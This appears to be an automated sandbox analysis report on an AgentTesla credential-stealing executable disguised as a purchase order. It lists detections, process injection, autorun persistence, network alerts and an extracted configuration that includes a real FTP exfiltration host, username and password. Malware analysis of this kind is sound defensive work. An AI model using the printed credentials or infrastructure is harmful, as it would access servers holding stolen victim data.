Edit tour

Windows Analysis Report
PO_9876563647-FLOWTRONIX (FT)UUE.exe

Overview

General Information

Sample name:	PO_9876563647-FLOWTRONIX (FT)UUE.exe
Analysis ID:	1523145
MD5:	0fd28ed18e522b9eef69b57aa8bdbf8f
SHA1:	5eba649f7e0cead07e1788973b9deae4c54e7a46
SHA256:	3996fdec3ceac6027730777ec99f6870a9c76e3904a1d2c78cef954a7484090e
Tags:	exeuser-abuse_ch
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Allocates memory in foreign processes

Connects to many ports of the same IP (likely port scanning)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses FTP

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

PO_9876563647-FLOWTRONIX (FT)UUE.exe (PID: 2944 cmdline: "C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe" MD5: 0FD28ED18E522B9EEF69B57AA8BDBF8F)

InstallUtil.exe (PID: 3280 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

Xpnzea.exe (PID: 6876 cmdline: "C:\Users\user\AppData\Roaming\Xpnzea.exe" MD5: 0FD28ED18E522B9EEF69B57AA8BDBF8F)

InstallUtil.exe (PID: 4836 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

Xpnzea.exe (PID: 4260 cmdline: "C:\Users\user\AppData\Roaming\Xpnzea.exe" MD5: 0FD28ED18E522B9EEF69B57AA8BDBF8F)

InstallUtil.exe (PID: 3848 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.alternatifplastik.com", "Username": "fgghv@alternatifplastik.com", "Password": "Fineboy777@"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.1652064396.0000000003D1F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1652064396.0000000003D1F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1472676483.00000000028F8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000002.00000002.1623982738.0000000000772000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1623982738.0000000000772000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2691701821.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.1652064396.0000000004583000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000002.00000002.1629857451.00000000028CE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1479691061.0000000003A03000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1479691061.0000000003A03000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2691701821.00000000029FC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2691701821.00000000029FC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1485671738.0000000005D40000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.1708492205.00000000028F7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.1709180379.0000000002801000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1709180379.0000000002801000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.1627992334.0000000002C98000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000002.1627992334.00000000030FE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1627992334.00000000030FE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.1739735884.00000000041E3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.1709180379.000000000284F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.1739735884.0000000003A2A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.1739735884.0000000003A2A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.1652064396.0000000003DCB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1652064396.0000000003DCB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.1708492205.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.1708492205.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1472676483.0000000002C6C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1472676483.0000000002C6C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.1629857451.0000000002881000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1629857451.0000000002881000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: PO_9876563647-FLOWTRONIX (FT)UUE.exe PID: 2944	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: PO_9876563647-FLOWTRONIX (FT)UUE.exe PID: 2944	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PO_9876563647-FLOWTRONIX (FT)UUE.exe PID: 2944	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: PO_9876563647-FLOWTRONIX (FT)UUE.exe PID: 2944	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 3280	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 3280	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Xpnzea.exe PID: 6876	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Xpnzea.exe PID: 6876	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Xpnzea.exe PID: 6876	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Xpnzea.exe PID: 6876	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 4836	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 4836	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Xpnzea.exe PID: 4260	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Xpnzea.exe PID: 4260	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Xpnzea.exe PID: 4260	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Xpnzea.exe PID: 4260	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 3848	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 3848	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 47 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.Xpnzea.exe.41e3250.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
6.2.Xpnzea.exe.4583250.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.5d40000.11.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
6.2.Xpnzea.exe.3d34a70.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.Xpnzea.exe.3d34a70.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.Xpnzea.exe.3d34a70.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31261:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x312d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3135d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x313ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31459:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x314cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31561:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x315f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
6.2.Xpnzea.exe.3d34a70.4.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e67c:$s2: GetPrivateProfileString 0x2dd9d:$s3: get_OSFullName 0x2f38e:$s5: remove_Key 0x2f56c:$s5: remove_Key 0x3047a:$s6: FtpWebRequest 0x31243:$s7: logins 0x317b5:$s7: logins 0x344ba:$s7: logins 0x34578:$s7: logins 0x35e7e:$s7: logins 0x3511c:$s9: 1.85 (Hash, version 2, native byte-order)
2.2.InstallUtil.exe.770000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.InstallUtil.exe.770000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
2.2.InstallUtil.exe.770000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33061:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x330d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3315d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33259:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x332cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33361:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
2.2.InstallUtil.exe.770000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3047c:$s2: GetPrivateProfileString 0x2fb9d:$s3: get_OSFullName 0x3118e:$s5: remove_Key 0x3136c:$s5: remove_Key 0x3227a:$s6: FtpWebRequest 0x33043:$s7: logins 0x335b5:$s7: logins 0x362ba:$s7: logins 0x36378:$s7: logins 0x37c7e:$s7: logins 0x36f1c:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.Xpnzea.exe.3d34a70.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.Xpnzea.exe.3d34a70.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31261:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x312d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3135d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x313ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31459:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x314cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31561:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x315f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e67c:$s2: GetPrivateProfileString 0x2dd9d:$s3: get_OSFullName 0x2f38e:$s5: remove_Key 0x2f56c:$s5: remove_Key 0x3047a:$s6: FtpWebRequest 0x31243:$s7: logins 0x317b5:$s7: logins 0x344ba:$s7: logins 0x34578:$s7: logins 0x35e7e:$s7: logins 0x3511c:$s9: 1.85 (Hash, version 2, native byte-order)
6.2.Xpnzea.exe.3d34a70.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33061:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x330d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3315d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33259:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x332cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33361:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
6.2.Xpnzea.exe.3d34a70.4.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3047c:$s2: GetPrivateProfileString 0x2fb9d:$s3: get_OSFullName 0x3118e:$s5: remove_Key 0x3136c:$s5: remove_Key 0x3227a:$s6: FtpWebRequest 0x33043:$s7: logins 0x335b5:$s7: logins 0x362ba:$s7: logins 0x36378:$s7: logins 0x37c7e:$s7: logins 0x36f1c:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33061:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x330d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3315d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33259:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x332cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33361:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3047c:$s2: GetPrivateProfileString 0x2fb9d:$s3: get_OSFullName 0x3118e:$s5: remove_Key 0x3136c:$s5: remove_Key 0x3227a:$s6: FtpWebRequest 0x33043:$s7: logins 0x335b5:$s7: logins 0x362ba:$s7: logins 0x36378:$s7: logins 0x37c7e:$s7: logins 0x36f1c:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.41e3250.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.4013e10.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 20 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Xpnzea.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe, ProcessId: 2944, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Xpnzea

Suricata Signatures

ET MALWARE AgentTesla Exfil via FTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T07:31:32.844326+0200	2029927	1	A Network Trojan was detected	192.168.2.8	49706	5.2.84.236	21	TCP
2024-10-01T07:31:48.017800+0200	2029927	1	A Network Trojan was detected	192.168.2.8	49712	5.2.84.236	21	TCP
2024-10-01T07:31:56.098704+0200	2029927	1	A Network Trojan was detected	192.168.2.8	49715	5.2.84.236	21	TCP

ET MALWARE PE EXE or DLL Windows file download Text M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T07:31:26.751565+0200	2022640	1	A Network Trojan was detected	67.212.175.162	443	192.168.2.8	49705	TCP
2024-10-01T07:31:42.581347+0200	2022640	1	A Network Trojan was detected	67.212.175.162	443	192.168.2.8	49710	TCP
2024-10-01T07:31:50.753234+0200	2022640	1	A Network Trojan was detected	67.212.175.162	443	192.168.2.8	49714	TCP

ET MALWARE PE EXE or DLL Windows file download disguised as ASCII

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T07:31:26.751565+0200	2017962	1	A Network Trojan was detected	67.212.175.162	443	192.168.2.8	49705	TCP
2024-10-01T07:31:42.581347+0200	2017962	1	A Network Trojan was detected	67.212.175.162	443	192.168.2.8	49710	TCP
2024-10-01T07:31:50.753234+0200	2017962	1	A Network Trojan was detected	67.212.175.162	443	192.168.2.8	49714	TCP

ETPRO MALWARE Agent Tesla CnC Exfil Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T07:31:33.460095+0200	2855542	1	A Network Trojan was detected	192.168.2.8	49707	5.2.84.236	63484	TCP
2024-10-01T07:31:33.465327+0200	2855542	1	A Network Trojan was detected	192.168.2.8	49707	5.2.84.236	63484	TCP
2024-10-01T07:31:48.642241+0200	2855542	1	A Network Trojan was detected	192.168.2.8	49713	5.2.84.236	61512	TCP
2024-10-01T07:31:48.647690+0200	2855542	1	A Network Trojan was detected	192.168.2.8	49713	5.2.84.236	61512	TCP
2024-10-01T07:31:56.716214+0200	2855542	1	A Network Trojan was detected	192.168.2.8	49716	5.2.84.236	64722	TCP
2024-10-01T07:31:56.721436+0200	2855542	1	A Network Trojan was detected	192.168.2.8	49716	5.2.84.236	64722	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.PO_9876563647-FLOWTRONIX (FT)UUE.exe.3a17e90.5.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.alternatifplastik.com", "Username": "fgghv@alternatifplastik.com", "Password": "Fineboy777@"}

Multi AV Scanner detection for domain / URL

Source: https://wymascensores.com

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Roaming\Xpnzea.exe	Virustotal: Detection: 32%			Perma Link

Multi AV Scanner detection for submitted file

Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe	ReversingLabs: Detection: 47%
Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe	Virustotal: Detection: 32%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Xpnzea.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe

Joe Sandbox ML: detected

Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.8:49714 version: TLS 1.2

Source: PO_9876563647-FLOWTRONIX (FT)UUE.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003909000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000038B9000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1486633819.0000000005EF0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1627992334.000000000304C000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1708492205.0000000002AEA000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1739735884.0000000003957000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003909000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000038B9000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1486633819.0000000005EF0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1472676483.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000006.00000002.1627992334.000000000304C000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1708492205.0000000002AEA000.00000004.00000800.00020000.00000000.sdmp, Xpnzea.exe, 00000008.00000002.1739735884.0000000003957000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1485888080.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, PO_9876563647-FLOWTRONIX (FT)UUE.exe, 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 4x nop then jmp 05E23DC5h	0_2_05E23C08
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 4x nop then jmp 05E23DC5h	0_2_05E23BF8
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_05E22BC0
Source: C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_05E22BB8
